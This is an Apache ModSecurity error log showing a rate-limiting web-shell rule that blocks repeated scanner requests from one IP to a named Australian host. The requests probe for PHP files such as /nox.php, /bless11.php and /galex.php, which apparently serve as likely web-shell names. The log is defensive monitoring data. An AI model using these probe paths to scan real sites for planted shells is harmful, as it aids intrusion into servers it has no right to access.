[Fri Jan 02 05:55:06.655226 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:5796] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVbtOjuUXUKd3KTnKl-X4wAAAIw"]
[Fri Jan 02 05:55:13.372355 2026] [:error] [pid 63099:tid 63140] [client 4.241.192.15:5748] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVbtQcmCZokRPYUhzvgX0QAAAEY"]
[Fri Jan 02 05:55:14.368826 2026] [:error] [pid 63100:tid 63167] [client 4.241.192.15:5997] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVbtQjuUXUKd3KTnKl-X7QAAAIY"]
[Fri Jan 02 05:55:15.372036 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:6047] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVbtQ3KLI9INGPLzfnd_kAAAANA"]
[Fri Jan 02 05:55:16.996917 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:5704] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "aVbtRHKLI9INGPLzfnd_kwAAANY"]
[Fri Jan 02 05:55:18.074904 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:5640] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVbtRjuUXUKd3KTnKl-X9QAAAI8"]
[Fri Jan 02 05:55:19.584605 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:5786] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVbtR8ez9k78gUs48kqTLQAAABg"]
[Fri Jan 02 05:55:20.352435 2026] [:error] [pid 63100:tid 63180] [client 4.241.192.15:5783] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVbtSDuUXUKd3KTnKl-X-gAAAJM"]
[Fri Jan 02 05:55:21.214143 2026] [:error] [pid 63099:tid 63134] [client 4.241.192.15:5956] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVbtScmCZokRPYUhzvgX0wAAAEA"]
[Fri Jan 02 05:55:21.863998 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:5576] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVbtSTuUXUKd3KTnKl-X_AAAAI4"]
[Fri Jan 02 05:55:22.463450 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:5795] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVbtSsmCZokRPYUhzvgX1QAAAFc"]
[Fri Jan 02 05:55:23.309073 2026] [:error] [pid 63100:tid 63177] [client 4.241.192.15:11692] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVbtSzuUXUKd3KTnKl-YAAAAAJA"]
[Fri Jan 02 05:55:23.907508 2026] [:error] [pid 63098:tid 63110] [client 4.241.192.15:5755] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aVbtS8ez9k78gUs48kqTNAAAAAM"]
[Fri Jan 02 05:55:24.227228 2026] [:error] [pid 63098:tid 63117] [client 4.241.192.15:5809] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVbtTMez9k78gUs48kqTNgAAAAo"]
[Fri Jan 02 05:55:25.205931 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:5696] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVbtTcmCZokRPYUhzvgX2gAAAEo"]
[Fri Jan 02 05:55:25.852557 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:5605] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVbtTTuUXUKd3KTnKl-YBAAAAIk"]
[Fri Jan 02 05:55:27.275273 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:6016] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aVbtTzuUXUKd3KTnKl-YCAAAAI4"]
[Fri Jan 02 05:55:28.990610 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:5726] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVbtUHKLI9INGPLzfnd_mgAAAME"]
[Fri Jan 02 05:55:30.886885 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:5816] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVbtUjuUXUKd3KTnKl-YDAAAAI8"]
[Fri Jan 02 05:55:32.523917 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:5803] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVbtVMez9k78gUs48kqTOwAAABA"]
[Fri Jan 02 05:55:33.168846 2026] [:error] [pid 63099:tid 63150] [client 4.241.192.15:6003] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aVbtVcmCZokRPYUhzvgX3wAAAFA"]
[Fri Jan 02 05:55:33.894001 2026] [:error] [pid 63098:tid 63121] [client 4.241.192.15:5797] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVbtVcez9k78gUs48kqTPwAAAA4"]
[Fri Jan 02 05:55:35.495707 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:5774] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVbtV8mCZokRPYUhzvgX5QAAAFM"]
[Fri Jan 02 05:55:36.826204 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:5781] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVbtWHKLI9INGPLzfnd_pgAAAME"]
[Fri Jan 02 05:55:37.695670 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:5806] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aVbtWXKLI9INGPLzfnd_qgAAAMM"]
[Fri Jan 02 05:55:38.903748 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:5778] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbtWjuUXUKd3KTnKl-YEQAAAIM"]
[Fri Jan 02 05:55:39.368157 2026] [:error] [pid 63100:tid 63174] [client 4.241.192.15:5771] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbtWzuUXUKd3KTnKl-YEwAAAI0"]
[Fri Jan 02 05:55:40.338742 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:5754] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbtXDuUXUKd3KTnKl-YFAAAAI4"]
[Fri Jan 02 05:55:40.653077 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:6006] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aVbtXDuUXUKd3KTnKl-YFwAAAJg"]
[Fri Jan 02 05:55:41.157102 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:5677] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVbtXcez9k78gUs48kqTSgAAABI"]
[Fri Jan 02 05:55:41.999095 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:5996] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVbtXTuUXUKd3KTnKl-YGwAAAI8"]
[Fri Jan 02 05:55:42.586151 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:5794] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVbtXjuUXUKd3KTnKl-YHgAAAIw"]
[Fri Jan 02 05:55:42.991725 2026] [:error] [pid 63099:tid 63146] [client 4.241.192.15:6021] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aVbtXsmCZokRPYUhzvgX6wAAAEw"]
[Fri Jan 02 05:55:43.885757 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:5718] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVbtX3KLI9INGPLzfnd_rQAAANI"]
[Fri Jan 02 05:55:44.870564 2026] [:error] [pid 63098:tid 63124] [client 4.241.192.15:5746] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVbtYMez9k78gUs48kqTTAAAABE"]
[Fri Jan 02 05:55:45.340473 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:5797] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVbtYcmCZokRPYUhzvgX8AAAAFQ"]
[Fri Jan 02 05:55:45.722302 2026] [:error] [pid 63098:tid 63127] [client 4.241.192.15:5820] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aVbtYcez9k78gUs48kqTUAAAABQ"]
[Fri Jan 02 05:55:45.973792 2026] [:error] [pid 63099:tid 63141] [client 4.241.192.15:5973] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVbtYcmCZokRPYUhzvgX8QAAAEc"]
[Fri Jan 02 05:55:46.510892 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:5800] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVbtYjuUXUKd3KTnKl-YIwAAAJg"]
[Fri Jan 02 05:55:47.159784 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:5737] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVbtY3KLI9INGPLzfnd_sQAAANU"]
[Fri Jan 02 05:55:48.093681 2026] [:error] [pid 63098:tid 63112] [client 4.241.192.15:5763] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aVbtZMez9k78gUs48kqTVgAAAAU"]
[Fri Jan 02 05:55:48.935646 2026] [:error] [pid 63099:tid 63138] [client 4.241.192.15:5756] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVbtZMmCZokRPYUhzvgX9gAAAEQ"]
[Fri Jan 02 05:55:49.658965 2026] [:error] [pid 63208:tid 63223] [client 4.241.192.15:6008] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVbtZXKLI9INGPLzfnd_tgAAAMw"]
[Fri Jan 02 05:55:50.368629 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:5639] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVbtZsmCZokRPYUhzvgX-gAAAFI"]
[Fri Jan 02 05:55:51.322155 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:5674] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aVbtZ8ez9k78gUs48kqTWwAAABg"]
[Fri Jan 02 05:55:52.092777 2026] [:error] [pid 63208:tid 63230] [client 4.241.192.15:5733] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVbtaHKLI9INGPLzfnd_vQAAANM"]
[Fri Jan 02 05:55:52.828921 2026] [:error] [pid 63100:tid 63164] [client 4.241.192.15:5752] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVbtaDuUXUKd3KTnKl-YJwAAAIM"]
[Fri Jan 02 05:55:53.504100 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:5581] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVbtaTuUXUKd3KTnKl-YKAAAAJQ"]
[Fri Jan 02 05:55:53.786729 2026] [:error] [pid 63098:tid 63114] [client 4.241.192.15:5804] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aVbtacez9k78gUs48kqTYAAAAAc"]
[Fri Jan 02 05:55:54.339721 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:5731] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVbtanKLI9INGPLzfnd_vgAAAMk"]
[Fri Jan 02 05:55:54.619166 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:5757] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVbtajuUXUKd3KTnKl-YKQAAAIE"]
[Fri Jan 02 05:55:55.711802 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:5705] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVbtazuUXUKd3KTnKl-YLQAAAJg"]
[Fri Jan 02 05:55:56.755311 2026] [:error] [pid 63099:tid 63135] [client 4.241.192.15:5712] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVbtbMmCZokRPYUhzvgYAwAAAEE"]
[Fri Jan 02 05:55:57.085704 2026] [:error] [pid 63099:tid 63150] [client 4.241.192.15:11737] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVbtbcmCZokRPYUhzvgYBAAAAFA"]
[Fri Jan 02 05:55:58.517924 2026] [:error] [pid 63208:tid 63223] [client 4.241.192.15:5760] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVbtbnKLI9INGPLzfnd_wwAAAMw"]
[Fri Jan 02 05:55:58.966877 2026] [:error] [pid 63100:tid 63165] [client 4.241.192.15:5819] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aVbtbjuUXUKd3KTnKl-YLwAAAIQ"]
